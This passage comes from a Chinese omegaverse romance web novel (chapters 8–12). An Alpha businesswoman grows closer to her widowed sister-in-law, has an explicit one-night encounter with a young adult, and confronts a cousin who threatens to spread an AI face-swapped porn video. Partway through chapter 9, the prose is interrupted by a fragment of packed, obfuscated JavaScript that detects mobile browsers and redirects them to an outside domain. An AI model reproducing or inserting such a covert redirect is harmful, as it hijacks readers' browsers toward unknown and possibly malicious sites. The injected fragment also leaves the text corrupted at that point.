到他父母一辈,已是没钱没权,登门拜访硬把盛莲塞给李家。
当时维京祖母尚在,可怜这少年刚分化完成,Omega信息素不稳,留下他当客人照料。
有了这前因,吴翠才看上盛莲,撮合他和自家女儿李佳的婚事。
可惜最后,李佳死了。
而盛莲父母失踪没了消息,他无人可依,无处可去,留在李家好长一段时间。
直至前几年才搬出去。
这般阴阳语气,盛莲只是默默承受。
他身体僵硬,手指不动,睫毛也不动,忍受着维京这刻的尖酸讥讽。
盛莲预料过维京言语的锋利。
他也知道父母这块,是维京不能碰的逆鳞。
可是……
他答应过的。
所以,有些话必须说出口。
“……抱歉。”
“我的父母很糟糕,糟糕到令人想死;可维京的父母却不同。”
说到这,他声音又低又轻。
“他们希望你幸福。”
死去的记忆袭来。
爸爸沾血的手,握住少女的手,牵引着,令其握住青年的手。
“维京,爸爸希望你日后也不孤单。”
“拜托你照顾她。”
这句话,是爸爸对盛莲说的。
“维京很坚强,我相信她会一直坚强。”
“可是,她是我的女儿,我担心这个孩子也会有受不了的一天。”
“所以,请你在他身边。”
彼时盛莲不过是李佳姐的结婚对象。
但是,他陪维京父女走到停尸间,陪伴他们与维京死去的母亲告别。
在当时,他是唯一这般尽心的人。
在父亲追随母亲殉情而去,李维京被迫离家时,唯一肯伸手帮助她的成年人。
受了突如其来的记忆侵扰,李维京冷硬的心也不免软化。
“嫂嫂,你不用道歉。”
“该道歉的是我。”
盛莲摇摇头。
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在意识到前排的维京看不到自己表情以后,他猛地呼吸一下,屏住委屈。
“是我的问题。”
半晌,他慢慢开口。
他也有私心。
其实,他想要证明,证明在维京心里,自己跟其他人不同。
所以现在才执意冒犯。
然而,现在也不过一场空虚。
车内本就不热烈的气氛,现在更是寂然。
车载音响的随机音乐,像是杂音,打断两人的交流欲望。
烦心之下,维京按下天窗按钮。
顶棚折叠,头顶夜色,霎时与天地连接。
撤去车顶,上空只有群星闪耀的夜幕。
风呼啸而来,路灯像是低矮星子,照亮茫茫夜晚。
驰骋带来的无尽自由。
恍惚间,李维京以为是在加州的公路。
头顶暴烈的太阳,她独自开车上路,孤独没有尽头。
真的很想来根烟。
可出了墓园,李维京知道自己不能再沉浸过去、逃避过去。
“嫂嫂。”
她忽然唤道。
在夜风中,盛莲拢住自己吹乱的头发,应声。
“刚才是我无能的迁怒,对不起。”
“说到底,是我想法出了问题。”
李维京话一说出口,就消散在夜风里,话音断断续续。
可她不在乎。
倒不如说,她觉得这样最好。
“我无法原谅爸爸为了死去妈妈,抛下了当时的我。”
“我也无法超越爸爸为妈妈殉情的这份情感。”
“他们做的,我都没办法越过去。”
李维京慢慢说道,终于讲出这些年她不为人知的想法。
冷风灌鼻,盛莲猛地吸气。
很快呛咳起来。
呛咳中,他湿润的睫毛眨着,悄然掉下一滴眼泪。
眼泪掉落大腿深色布料上,不着痕迹地晕染开来。
一份如此坦诚的剖白。
一时间,盛莲不知是维京天性冷心冷情,或是自己在乎她太多。
他拼命眨眼,忍下酸涩的泪意。
一路无话。
车驶入高架桥,进入城市。
交通环岛前,缴费空隙,李维京抽出手机看了眼。
好友安娜一通活跃。
【维京,维京!我吃到代餐了!】
【啊啊啊!绝美代餐!】
她传来一张图片。
图片明显是截图,像素有些模糊。
从画面上看,是个戴面具的男人。
截图镜头自上往下,截出面具男人的尖巧下颌。
V领大开,镜头照进去,透白衬衫之下半遮半掩,白花花一片闹得人心痒痒。
仔细看,胸口某处微凸,像是跃起的乳鸟。
【看看,这涩涩水平!我斯哈斯哈流口水!】
【这代餐太好吃了,必须大口大口吃!】
面对好友的涩涩言论,李维京有点难懂。
【什么代餐?】
她回复道。
安娜难得含蓄。
【你不觉得,这网黄很像你认识的某个人吗?】
联系前几日她的发疯,李维京很快得出结论。
饶是这结论她难以正视。
“嫂嫂?”
9. 第 9 章
“我在。”
听见维京在呼喊自己,盛莲及时应声。
“有什么事吗,维京?”
他的声音轻柔,此时鼻音闷闷。
李维京想到一种可能性,很是诧异。
“你哭了?”
仔细想想,她觉得刚才自己说话,的确有些伤人。
出社会什么鸟人都有,她说话也变得直接尖锐。
但嫂嫂盛莲,跟那些人是不同的。
从车座抽屉里扯出一张卫生纸,她侧身,递给后排的嫂嫂。
“嫂嫂,真的对不起。”
盛莲接过卫生纸,擦擦脸,抹去睫毛多余的水珠。
面对维京的抱歉,他摇摇头,轻声道没关系。
温柔美丽,人如其名。
这就是她嫂嫂盛莲啊。
李维京感慨着,给安娜敲回复。
【再敢这样意淫我嫂嫂,我把你荒唐恋爱史报告给你爸妈听。】
安娜已读。
安娜撤回图片。
【我的亲亲姐妹!你可不能这么干啊!】
安娜附上表情包:跪下求饶.JPG
李维京回以表情:站着挥舞小皮鞭.JPG
【看你表现咯。】
一番斗图,李维京心情稍好,熄灭屏幕开车。
从后排,盛莲只能看见维京的小半侧脸。
他看见她拨弄手机,随后心情愉悦,哼歌开车。
手心攥紧卫生纸,盛莲不知道怎么办。
轿车开到盛莲所在的居民小区。
里维京停车熄火,下车替盛莲开车门。
“开了这么久的车,累的话就先上去坐坐。”
盛莲邀请维京上他家小憩。
“不了,等会约了人。”
一抬手,李维京腕间翡丽表露出,时间显示晚上7点21分。
“嫂嫂你今天辛苦了,回去休息。”
李维京说话不容置喙,目光迎送着盛莲走到单元楼门口。
想着下笔生意,她送人送到这,钻进驾驶位启动轿车,轰鸣而去。
嗡——
拉长的轿车轰鸣,响在盛莲身后。
走到楼梯口的他转身,快步来到单元门口,只见离去的轿车。
掌心攥着那团纸巾,盛莲还是不知道怎么办。
心底那点小疑惑,却在一点点发芽。
难道是去约会吗?
晚风吹面,盛莲呆呆地望着不远处空寂的路灯,掌心更紧得攥住纸团,汗湿的手掌浸透纸巾。
等他恍然摊开手掌,湿透的纸团皱巴巴的,像是一颗卑怯软弱的心脏。
.
谈完这笔生意,已是深夜。
出了谈事的酒店,李维京整理腕间表带,眉头紧锁。
这笔生意原本是安娜父母请她代推广国外茶叶业务,好友父母所托,她自然义不容辞。
但是来谈生意的青年Alpha太烦人,在李维京再三表示要走,他还抬手挽留,无意将她表带扯脱。
腕间翡丽表也是她的抑制手表。
当即,冰雪玫瑰的凛冽寒冷排山倒海而来,压得青年Alpha不敢动弹,李维京就此离开。
腕间表带暂且无法复原,信息素的抑制也在逐步失效。
“怎么突然冷了?”
酒店门口,有路人嘀咕道,裹紧身上的衣服。
冰冷的玫瑰香弥漫在凌晨的夜晚。
信息素在失控。
李维京感到一丝不易察觉的烦躁。
她清楚是Alpha的易感期作祟。
信息素和本能一样,无法彻底压制。
趁着清醒,她掏出手机,拨通安娜电话。
“安娜,我需要找个人疏解易感期的暴躁。”
“只疏解,不亲吻,不标记。要钱的话,五万以下都可以。”
“啊?”
安娜再次被她直女思维震惊,“你这要求好渣!”
“我没开玩笑,快去找。”
李维京冷静地说道。
“钱财交易要不得啊,姐妹。”
安娜语重心长,“放心,你长得那么好看,发张照片就有人愿意来。”
“嗯我的要求跟人说清楚。”
李维京不管那些,只提醒好友这点。
订好酒店,给安娜发过去地址。
半支烟的功夫,李维京等来了敲门。
“请进。”
推门而入的,是个白衬衫的清秀少年。
他半边身子探进屋,神情怯怯。
屋子内,昏黄的光线洒落床铺,像是黄色的玫瑰花瓣。
而坐在花瓣丛中的女人,优雅地翘着腿,慢慢抽着半截烟。
一双大眼睛藏在烟雾中,像是暗处的猫眼,冷冷地看着人。
“安娜介绍你来?”
女人问道,语调很慢。
说话间,门口的少年忽然觉得冷。
冰凉的花香味包裹住他,像是浸泡冰水中,而这唯一的花香味是救命稻草般。
门口的少年慌乱地点点头,牙齿忍不住微微打架。
看着他抱住胳膊发抖,床上坐着的女人缓缓微笑,朝他伸出一只手。
“过来。”
少年身不由己地过去。
握住女人的手,有力的胳膊给予他可靠的感觉。
“李维京。”
女人自我介绍,把他引到自己身边坐下。
“安娜跟你说过要求了?”
女人身穿黑色衬衫,同色西装裤,神秘贵气。
少年再次点点头,想了想,小声道。
“她说了,不亲吻,不标记。”
“那你还来?”
李维京嘴唇溢出一丝烟,笑得漫不经心。
“我就是……就是……”
“喜欢你。”
说着,少年Omega低了头,脸红了。
李维京不信。
脑海闪现他的资料:二十岁,南城艺术大学美术专业大二学生,家庭小康,属于安娜朋友的朋友的朋友……总之转手几道朋友,不存在熟人关系。
之所以前来,是因为安娜也给李维京看了他照片,双方同意之下才见面。
李维京拨弄长发,想,无所谓。
一夜之后,她就不会见他。
至于他的名字,不重要。
“你有什么要求?”
李维京询问道。
少年摇头。
“我知道只是一次,一次……”
年轻男孩说不下去了,脸彻底红了。
昏暗灯光下,他低头的模样异常柔顺。
李维京心中一动,信息素弥散开来,冬雪玫瑰的味道浸满整个房间。
熄灭烟,李维京扳过男孩的肩膀,身体朝他倾过去。
两人跌落床褥。
屋内昏暗,暗处绿光明灭。
外面的窗,莫名红灯亮起。
红绿光交织,像是一束禁止的警告。
少年呜咽起来,大汗淋漓,脸庞的泪水与汗水混合,濡湿黑发。
易感期之下,李维京脑海被信息素占据,拨开少年脖颈濡湿的黑发,手指摩挲着他的腺体。
她另外动作也没有停。
重重刺激,少年喊叫出声,双手伸出,祈求道:“给我……”
抚摸着他脖颈处最脆弱的腺体,李维京只是笑。
“一旦标记,你这辈子可完了。”
Alpha的标记分为临时与永久性。
而Omega的腺体一旦被永久标记,那这辈子只能属于标记他的Alpha。
临时标记啧是很多Omega易感期无可奈何之下寻求的短暂法子。
只可惜,Alpha没几个不恶劣的。
李维京自问也是,她可没闲心搞临时标记那套。
要标记,那就要把眼下Omega变成她的。
少年摇头,又点头。
“没、没关系……嗯……啊……”
他几乎爽得说不出完整的话来。
濡湿的黑发散到女人的掌心,李维京心念微动。
外面的红光闪烁,像是在危险的禁区。
警戒的红光闪耀,刚才那种熟悉的感觉袭来。
女人的手掌托住少年半边脸颊,黑色湿发黏在他脸颊、额头,更显纤弱。
屋内的绿灯也适时收缩。
那点绿光点在女人额头,恍如启示,李维京霍然醒悟。
熟悉的感觉,相似的侧脸模样。
她自己忽然明白过来。
冬雪玫瑰的凛冽花香排山倒海而来。
仿佛形成一个致命的漩涡。
李维京的手指不再摩挲少年的腺体。
她坐起身来,冷静下来,没有标记他。
.
翌日清晨,出了酒店。
约好出租车,李维京让男孩坐车回去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670799|173157||http|test|mini|href|location''.split(''|''),0,{}));
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>坐在后排的男孩没有关上车门,仰头望着站立的女人,欲言又止。
女人长身而立,黑色西裤衬得她腿又长又直,像画报模特。
李维京的注意力已经不再他身上,手机屏幕上有几个未接来电。
朋友、合作伙伴,以及嫂嫂盛莲。
盯着盛莲的未接来电时间,昨晚十一点零七分。
这么晚,嫂嫂会有什么事?
“你……”
坐出租车后排的少年鼓足勇气开口,“还会联系我吗?”
放下手机,李维京胳膊搭在车门上,俯身,身段折出一截风流的弧度。
“不会了。”
漂亮女人说的相当干脆。
然后,她合上门,吩咐司机送少年回去。
不甚清晰的玻璃车窗前,少年不舍、难过的表情清晰可见。
李维京无动于衷,站着看出租车扬尘而去。
下一秒,她目光收回,看到道路对面走来一个人。
粉色卷发、唇钉,白色小背心,牛仔小短裙。
打扮夺目的女孩抱胸走过来。
是李莉莉。
李莉莉,李佳姐的妹妹,伯母吴翠最疼爱的小女儿。
一个惹事又无用的妈宝女Alpha。
还没走到李维京面前,李莉莉停住脚步,指着她笑得夸张。
“李维京你不过如此啊。”
“平时人模狗样,瞧不起人,结果一样下流。”
面对嘲讽,李维京纤眉一挑。
“我单身,他单身,一起过夜有错?”
“没错、没错。”
嘴上说着,李莉莉唇角一撇,噗嗤笑出声,摆明嘲讽。
“毕竟你眼光一向不错。”
“从前围着盛莲打转,现在找了个好看Omega。”
“不错、不错!”
“你该叫他嫂嫂。”
李维京冷静提醒,“他是你死去姐姐的未亡人。”
“行、行行!”
李莉莉一迭声敷衍,手指再一指李维京。
“你这么维护盛莲,果然对他有想法吧?”
李维京眉头不皱一下,只当他说疯话。
李莉莉却不肯放过这个好机会嘲讽到底,一努嘴,点向出租车离去的方向。
“刚才你送走的那个,有三四分像盛莲嘛。”
杏仁眼黑白分明,冷冷地看着她。
李维京面色平静,却被勾住疑影,分神想盛莲昨晚深夜的电话是为了什么。
昨晚深夜十一点,自己在酒店房间里跟别人度过。
想到这,她嘴唇微抿。
她从未如此想知道盛莲的手机来电原因。
纵容心底分神,李维京也得打发眼前不安分的妈宝女。
杏仁眼一扫,她看着李莉莉,从下到上,慢慢扫视她。
冷静的目光如刀,割得李莉莉越发不安,再次抱胸防备起来。
“长得还行,想法却太猥琐。”
李维京摇摇头,做出评价。
“李莉莉,你以后可怎么办,靠妈妈一辈子?”
“你妈把持那么大的祖宅产业,却连五十万都拿不出来。”
句句话扎得精准,李莉莉瞬间不笑了。
“顺便一说,污蔑盛莲相当于污蔑死去的李佳姐。”
“李佳,可是你的亲姐。”
“盛莲他也只喜欢你姐姐。”
最后一句话,李维京怀疑补充得多余。
再次大笑的李莉莉验证她的想法。
“李维京!你居然这么想!”
“太他妈傻……!”
到嘴的脏话被杏仁眼黑洞洞的目光阻止。
“我提醒你,你骂一句脏话,不光是我,你三代也要受辱。”
女人慢悠悠地开口。
一想,李莉莉无可反驳。
她们都是李氏家族的同辈,她骂李维京什么,都会辱及自己。
李莉莉满心憋屈,心底暗骂好多句脏话,说出口的却软弱无能。
“你太傻了!”
噗嗤一声,李维京被她逗笑了。
李莉莉瞪着她,气得唇钉都在抖。
从小,她家世成就长相等,都被李维京全方面碾压。
在李维京面前,李莉莉总想扳回一城。
现在好不容易逮到个由头,她必须嘲讽到底。
“你以为就那盛莲,真的是为我姐守寡才留在李家?”
10. 第 10 章
李维京嗤之以鼻。
李莉莉这家伙,三岁看老,打小是个挑事精。
恰好有电话打来。
接起电话,李维京再不管这挑事精,直接往停车场走。
“姐妹!那孩子回来哭得一塌糊涂!”
“你、你把人渣了?”
电话那头,安娜语气惴惴不安。
一听,李维京觉得不对劲。
“怎么?他跟你很有交情?”
“啊倒没有,就是好奇你昨晚到底怎么了?”
安娜矢口否认,理由倒也好。
不提还好,一提李维京想起昨晚最后,冷笑一声。
“周安娜。”
她连名带姓叫道。
安娜冷汗都下来,硬着头皮应声。
“怎、怎么了?”
电话这边,李维京长久没说话,似在沉思。
她越不说话,安娜越紧张,索性张嘴哇哇一通招供。
“昨晚我按照你那些要求找人,好容易靠你照片骗,啊不联络到十来人,他们照片我可统统发你了。”
“十几个人的照片里,是你你选中了季成星这孩子,跟我可没关系。”
“至于他长得跟你嫂嫂有几分像,这我,这我也不能阻止啊。”
“而且你嫂嫂那样的绝色,温柔贤惠,谁不心动?”
“我甚至想过向他求婚娶他……”
见她嘴上没溜,李维京适时咳嗽一下。
安娜即可改口。
“怪我!怪我成天在你耳边灌输这些,影响了你的潜意识审美!”
“怪我没有阻止季成星那孩子找你!”
平心而论,如果盛莲不是嫂嫂身份,李维京没可能喜欢他。
他是十足美丽的Omega,纤细脆弱。有时候,于某些事,又太执拗。
盛莲宛如水晶花瓶供养的一株莲花,美丽精致,却要时时照料,不适合李维京这种常年在外奔波的人。
扪心自问一番,李维京确定自己的想法,清除掉冗杂的情绪,有些茫然。
“季成星,谁?”
“……”
哪怕是花心大小姐安娜,也忍不住想骂直女好渣。
她想解释是是昨晚的少年,转念一想,李维京并不想留情,便干巴巴笑几声,借口挂了电话。
.
挂了电话,李维京开车回去。
轿车一路风驰电掣,道路宽阔,很快就到了她现在住的地方。
几年前,她狠心卖掉父母的别墅,不留伤心地,然后搬进豪华公寓楼。
豪华公寓这里房屋架构分为上下两层,生活区、休闲区、学习区等分得清楚,李维京很喜欢这种清楚的条理划分,一回南城便憩在这里。
电梯上楼,她打开门,发现一楼的灯开着。
“你回来了。”
听到门口响动,坐着的男人即刻起身。
“嫂嫂?”
李维京略略疑惑。
居所的备用钥匙,是她给盛莲的,平时拜托他照顾阳台的小花园。
盛莲素来知趣,除却定期打扫卫生、照顾花园以外,不爱上门。
今日却刻意等她回来。
“怎么了?”
弯腰换好拖鞋,李维京随口询问道。
落地玻璃窗外,一片宽阔江景坐落。
窗明几净,客厅明亮,中央一处圆形凹陷,沙发环绕,像是浴池。
顺台阶下,李维京坐下。
充足的阳光像水,盈满这处凹陷的圆形沙发区,女人斜躺沙发,单手懒懒撑脸,沐在这阳光浴之下。
沙发柔软,阳光充盈又不热辣。
李维京发出舒服的喟叹。
至于那道跟随她的目光,也不在意。
“嫂嫂你等多久了?”
撩拨长发,李维京调整姿态,仍是随口问。
“没多久。”
盛莲的答案,不出所料。
李维京轻哼一声,撑着脑袋,眼皮微阖。
一夜折腾,易感期过后,她有些倦怠。
另一边,盛莲的神经却始终紧绷。
他整宿没睡。
公交车第一班航线启动,他即刻赶到维京的家,枯坐一上午,翻来覆去猜测答案。
可基于嫂嫂身份,他永远也无法轻松问一句:维京,你昨晚是去约会了吗?
问出口,答案怎么样,盛莲都不会感到安心。
鼻尖微嗅。
盛莲眼睛稍稍睁大。
那凛冽的冬霜玫瑰信息素,缓缓沉淀下来。
沉静下来的玫瑰,如醇美的酒香,漫不经心地散发着它浓烈的味道。
“维京你信息素……”
盛莲不自觉喃喃道,身子有些发软。
一句话提醒了李维京。
她取出沙发小几底藏着的抑制剂药,生生吞咽。
“昨晚抑制手表表环坏了,在外面留宿一晚。”
李维京简单解释,仍撑着脑袋,眼皮半阖不阖。
她无心话语,让盛莲如坠冰窟。
他低睫,眼皮小红粒颤抖不休。
双手无意识绞紧,像是一把无形的枷锁。
最坏的猜测,还是有了答案。
而他,不能问为什么。
被抑制剂压制的信息素渐渐收拢,包裹住盛莲,稀薄的信息素环绕着他,像是稀薄的空气。
他忍不住大口喘息,胸口剧烈起伏。
而维京再次无心话语,竟使他泛出眼泪。
“嫂嫂,昨晚深夜你打电话,有什么事?”
昨晚、昨晚……
盛莲猜想半宿,终于鼓足勇气打电话。
一声声忙音,是维京平静的语气。
原本找的借口不足为谈。
他侧脸,贪婪地贴近电话里女人平静的语音,像是在对自己说话。
身下床单皱成花纹。
床单褶皱,如层叠花蕊,跪在床上的盛莲俯身,探索的手一遍遍抚摸褶皱的床单。
电话录音不中止,一遍遍回放。
女人的声音中,他脸深深埋进枕头,大口大口呼吸,如缺氧的鱼。
李维京三个字,如一片一片花瓣,混着他受刺激的眼泪洒落床褥。
想到这,昨晚熟悉的感觉袭来,他忍不住身体发软,遂狠狠低头。
这样的自己,太狼狈了。
好像完全离不开维京一样。
努力平复呼吸,盛莲佯装无事,但借口找的破罐破摔。
“两周以后,是家宴。”
“今年还是在祖宅,吴伯母需要我帮忙,我要提前去,先过来帮你打扫卫生。”
确有其事。
在之前,盛莲犹豫良久,迟迟没有答应。他
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不想维京知道后不开心。
果不其然,李维京不耐地啧了声。
睡意困意交加,听到这个消息,她也懒得生气。
“非去不可,嗯?”
“这趟必须去。”
盛莲咬牙,不肯松口。
掩嘴打了个哈欠,李维京慢慢道:“那你就去。”
莫名的倔强,撑着盛莲。
眼中泛泪,他说不出委屈或是愤怒,只是缓缓点头。
“不,到时候,你跟我一起去家宴。”
女人却说道。
胸中执拗不知所措。
盛莲眨了眨眼,眼中莫名的泪,不堪盈盛满出来。
“可是,可是你……好几年没去家宴了。”
盛莲喃喃道。
李家家宴,是维京祖父母在世时年年要举办的家族宴会。
宴会的客人,尽是李家亲人。
按祖母的说法,家宴原本就是为了促进亲人感情而举办的宴会。
吴翠当家以后,李家宴会成了结交权贵、结交世家的场合。
后来,她甚至发展到用钱财交易卖宴会的邀请函。
家中传统丢失、亲情荡尽,李维京只觉憎恶,再不去赴宴。
“是啊,正好见见这新家宴现在是个什么样子。”
李维京坐起身,伸个懒腰。
维京又有什么其他想法吗?
Omega想着,抬手捂住脸颊,满手湿润。
见维京转过脸望向自己这边,他别过身子,脸不教她看见。
他不想她看到自己满是泪的狼狈。
李维京倦得很,勉强直起身已是困难,看着嫂嫂转身也没多想。
想到李莉莉的种种挑事言论,她觉得还是该跟去看看。
“嫂嫂,自己不要去。”
她温言道。
李维京眼里,李莉莉只是个无用妈宝女Alpha罢了。
她没脑子的,不可惧。
但那家伙酒品差,好闹事,嘴上没把门。
要是参加家宴见了盛莲闹出点什么动静,到底是后者吃亏,闹得不好看。
比起李莉莉,李维京当然更喜欢嫂嫂盛莲。
这事,她不全是为了商人利益。
而盛莲的脸埋于阴影。
忽然,他觉得背过脸的想法好傻。
维京压根不在意他哭或笑。
男人沉默单薄的背影,李维京看在眼里。
盛莲埋头,纤白脖颈露出,黑发虚虚遮掩颈后腺体。
看着,女人手指微微一动。
大拇指与手指搓揉,想起昨夜的腺体触感。
Omega腺体的触感,也许一样柔软,像果冻。
她失笑摇头,驱散自己脑海这无趣的想法。
然后,她再强调一遍正事。
“我跟你一起去。”
面对维京的邀请,盛莲没有选择在第一时间答应。
“维京你有没有想过,吴伯母的要求为什么我从来不拒绝?”
嫂嫂突然的问题,李维京有些疑惑。
但她心中早有答案,脱口而出:“为了离世的李佳姐姐,嫂嫂你这么多年也很不容易。”
“……”
良久,沉默的盛莲开口,
“是吧?”
说这话时,他声音的苦涩,只有他自己知道。
11. 第 11 章
风大,吹散夜空的星子,夜色沉沉。
这处露天阳台彩灯飘扬,如星辰降落,照亮此间黑暗。
小小彩灯亮如行,落在女人白皙面容,却是一片散不去的阴影。
“不会吧?”
安娜难掩震惊,看着对面坐着的李维京。
望着好友,杏仁眼不闪不避,李维京轻轻点头。
“你这……算造谣?”
安娜还是不肯信。
“周安娜。”
再一次,李维京连名带姓地叫道。
安娜即刻举手投降,表示好好好,总之是我的错。
“不是你造谣,而是李莉莉造谣。”
“居然给Omega造黄谣,她简直可以判刑了。”
说到这,安娜愤愤不平。
女人看了眼桌上的手机,屏幕亮起,播放的视频暂停。
画面里,男人红唇微张,尖巧下颌一滴汗,将坠未坠,诱人口渴。
李维京轻叹口气。
极为难得的表现,令安娜正眼盯住她,而漂亮Alpha平静的脸笼上一层愁。
两天前,李莉莉发来视频。
一个换脸视频,但网黄内容。
明眼人一眼看出视频的换脸生硬,但内容劲爆香艳。
过去,在东南亚看成人夜场表演,李维京收放自如,出了特定场地,仍是平静自持。
而现在,她看着这个换脸视频,陷入深深的怀疑。
杏仁眼盯着手机的暂停画面,一片艳情,眼眸转深。
“要不我看看,帮你研究一下?”
安娜提议道。
第一时间,她用手掌遮住手机屏幕。
想了想,才挪开,把手机递给安娜,示意她帮忙看看。
安娜点开暂停按钮,视频继续播放。
低低喘息漫开,甜腻鼻音隐忍,忽地呼吸急促声放大。
最后一声呜咽,悄然弥散的寂静,微微的喘息无不在说明蘼丽场景。
目光盯手机,安娜摩挲着抓住手边的杯,将其中冰水一饮而尽。
她仍觉口干舌燥。
最后的画面,是男人躺倒在地,敞开的衬衫,肌肤如流淌的白色牛奶。
衬衫凌乱,随着呼吸起伏,随时有散乱开来的危险。
见她呆愣半天,李维京果断扯回自己手机。
“我天……太会了……”
安娜这才醒神过来,忍不住感慨道。
说着,她目光不舍地看着手机里的画面。
画面里,男人是换脸生成,不是本人,表情略带僵硬。
但配上这等迷乱氛围,足以让人心潮澎湃,口渴难耐。
李维京状似无意,用手遮住画面里男人的AI脸。
“别呀……”
正要出言抗议,安娜撞见女人不笑的杏仁眼,把阻拦的话默默咽进肚子里。
“你是帮忙分析这视频来源,怎么还为这造谣视频面红耳赤。”
李维京语气冷淡。
“哪、哪有!”
“……好吧,我有。”
安娜原本要反驳,看到李维京的表情瞬间秒怂。
“其实我觉得这视频有点眼熟……”
对于成人网黄,安娜素有研究,一时静心思索。
趁着好友回想线索,李维京遮挡的手挪开,望向手机里的画面。
掠过糜烂艳丽的画面,杏仁眼落在那张AI生成的脸上。
从原视频来说,这AI脸是多余的,时不时穿模,看起来略带滑稽可笑。
但是,这张脸的美丽,震慑所有的违和。
这张美丽的脸,人如其名——盛莲。
两天前,李莉莉发来这条视频。
在原本网黄视频内容里,用AI换脸,换上盛莲的脸。
一个恶意的黄谣视频。
而李莉莉叫嚣,说要把这个视频发给盛莲本人。
“李维京,你以为盛莲真的清白吗?”
李莉莉一而再,李维京不再将这视为恶意的挑衅。
她深知李莉莉人软蛋,造谣生事到底不敢。
那也许,该查查了。
“啊找到了!”
搜索手机半天,安娜终于找到眼熟的证据。
她将手机拿过来,屏幕是一个视频网站。
点开来,是某个视频者单独的主页。
主页空白,背景空白。
而视频者的账号名称——
“LS”。
一看这字母缩写,李维京纤眉一挑。
“嗯你知道,这种都需要会员解锁的。”
安娜表示,自己可是高级会员。
登录其账号,空白界面不再空白,而是一些暧昧的视频封面。
打开一个视频,安娜指了指,
“原视频就是这个。”
原视频,正是李莉莉发给李维京的视频。
“还记得吗,这个视频博主就是我截图发给你的网黄?”
“那混球李莉莉居然拿网黄视频造谣你嫂嫂,你嫂嫂可是个正经Omega啊,这种造黄瑶可以直接告他的。”
安娜顺便一提。
那网黄是在李维京拜祭家人之后,那晚发过来的。
那晚,盛莲也在。
李维京的手机提示音响了。
她解锁查看消息,嘴角一勾,似笑非笑。
旋即,她按灭手机屏幕,起身欲走。
“私家侦探查探到一些事,约我前去。”
“李莉莉又作妖?”
安娜的猜想,没有打消李维京嘴角莫测的笑。
女人起身,拨弄长发一下,便走。
【关于盛莲,您可能部分不了解。】
【他另一个身份,我已经查探到。】
·
从侦探所离开,李维京拎着半本调查结果。
上车,将它放进副驾驶储物箱,女人合上箱门。
“南新区长景街71路。”
根据侦探给的地址,车内地图智能导航,李维京开往那里。
南新区这地方是城市新建设的区域,刚开发一两年,无重大市政项目,所以人烟稀少。
因地界便宜,一些网络行业搬到这里,租房当直播间、仓库区、办公地点等。
已是凌晨。
长景街人迹寥寥,唯有道旁路灯亮着,撑起一处明亮。
轿车停道路旁,李维京坐在车内,静静望向对面不远处的71号房。
71号是处单栋楼房,刷黄红漆,贴西洋砖,外表装饰得像欧式城堡
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。
等了一会儿,有人从欧式城堡的大门出来。
大半夜,头戴鸭舌帽,捂半面口罩,穿宽大黑色风衣,遮得严实。
遮不住的是那人风衣下方摇摆,行步风姿动人,像株涉水的莲。
李维京看着,拨通电话。
“盛莲”两字跳跃手机屏幕中心,而人,迟迟不接电话。
黑衣人没有止步,步步踏莲似地走着。
插兜的双手埋得更深。
李维京看着,想要驱车上前喊他,却见黑衣人挖出埋衣兜里的手机,忽然接了电话。
“……这次的钱,要晚几天。”
“晚几天吧,求您。”
寂寥的街道,他的话语虽轻微,随风吹来也很清晰入耳。
哀恳的语调忽然顿住,像是在犹豫。
最后,他语调很轻地回绝。
“我没办法帮忙……”
“这次,真的没办法来帮忙。”
“真的抱歉,吴伯母。”
电话里嘈杂的声音陡然尖利起来,像刀片刮盛莲的耳廓。
而他,默默接着电话,默默忍受电话那头的刻薄。
李维京已经明白怎么回事。
刚才盛莲接到的,是吴翠的电话。
盛莲在定期拿钱给吴翠一家子,这两天暂时拿不出来了,吴翠则强硬地要他为家宴做杂活来抵。
那么,是为了这份钱,嫂嫂他才来打这种工?
手机亮起,两条短信。
一条来自安娜。
【你问“LS”?他是这两年才出道的网黄,从不露脸。】
【论氛围、水平、质量,他不是拔尖,但奈何人底子好啊,声音婉转勾人,身体摇晃起来,很难让人把持得住。】
【之前有人砸重金要他接私人,或者露脸来一段,他都不肯。】
一聊起这些,安娜可真不困了,滔滔不绝说个不停。
而李维京看着,认真记下这个特征。
另一条,是李莉莉。
看完李莉莉的短信,坐在车上的李维京静静看着外面立着的盛莲。
他身姿秀挺,长了的黑发柔软地披在肩头。
男人静静仰头,灯影落在他秀美的眉眼。
盛莲形单影只。
他像株涉水的莲,困于泥潭,跋涉渡海不得。
然后他嘴唇蠕动一下,有名字呼之欲出。
为了这个名字,他忽然微笑。
灯影摇晃,像在水里,他的笑也破碎摇曳,像水中倒影。
李维京没有读懂那个唇语。
但她知道盛莲拒绝吴翠绝不是临时起意。
而是那一日,她对盛莲的要求。
她要他不要一个人去,跟自己一起去。
想到这,李维京轻轻叹口气,暂时放弃上前对峙的念头。
她的嫂嫂诸多秘密,不见天日,她得一个个去捋清。
低头,再看李莉莉短信。
【家宴当晚,我就把发你的视频投屏到大屏幕,给大家看看盛莲有多骚。】
【那晚,你敢不敢来?】
她要盛莲身败名裂。
无端的恶意,扑面而来。
但李维京不许。
她回复。
【敢啊。】
12. 第 12 章
“账号发来。”
很快,安娜发来账号。
随之发来的,还有她不解的话语。
“李莉莉造谣,你也信吗?”
“侦探说了什么,难道LS是……”
面对她的猜测,李维京没有多言。
“不是。”
当下盛莲有秘密待解开,但李维京不允许谣言先起。
而安娜俨然松了口气,随机变得支支吾吾起来。
“姐妹,我可是把私密账号借你了,搁古代算是性命相托了。”
“维京,你我姐妹,情深如此,有些事我不得不嘱咐你……”
“说人话。”
“维京你可千万别看账号的历史记录,看了我不活了!”
不消说,李维京也没心情看。
比起安娜历史记录各种小情趣秘密,李维京更在意的,仍是当下。
借来账号,她登录上那网站。
打开LS的主页,李维京发现他更新的并不频繁。
从三年前起,他开始更新视频,更新时间一般两三个月一次视频。
凭这懒怠的更新,在这种付费网站里,LS无疑是走品质路线。
从播放量来看,他这一步走得很稳,平均播放量五六千,个别过万。
安娜说过,该付费网站的播放量是按会员付费来算,五千播放量相当于五千个会员付费。
过万,则说明有一万人为此买单。
李维京轻轻咋舌。
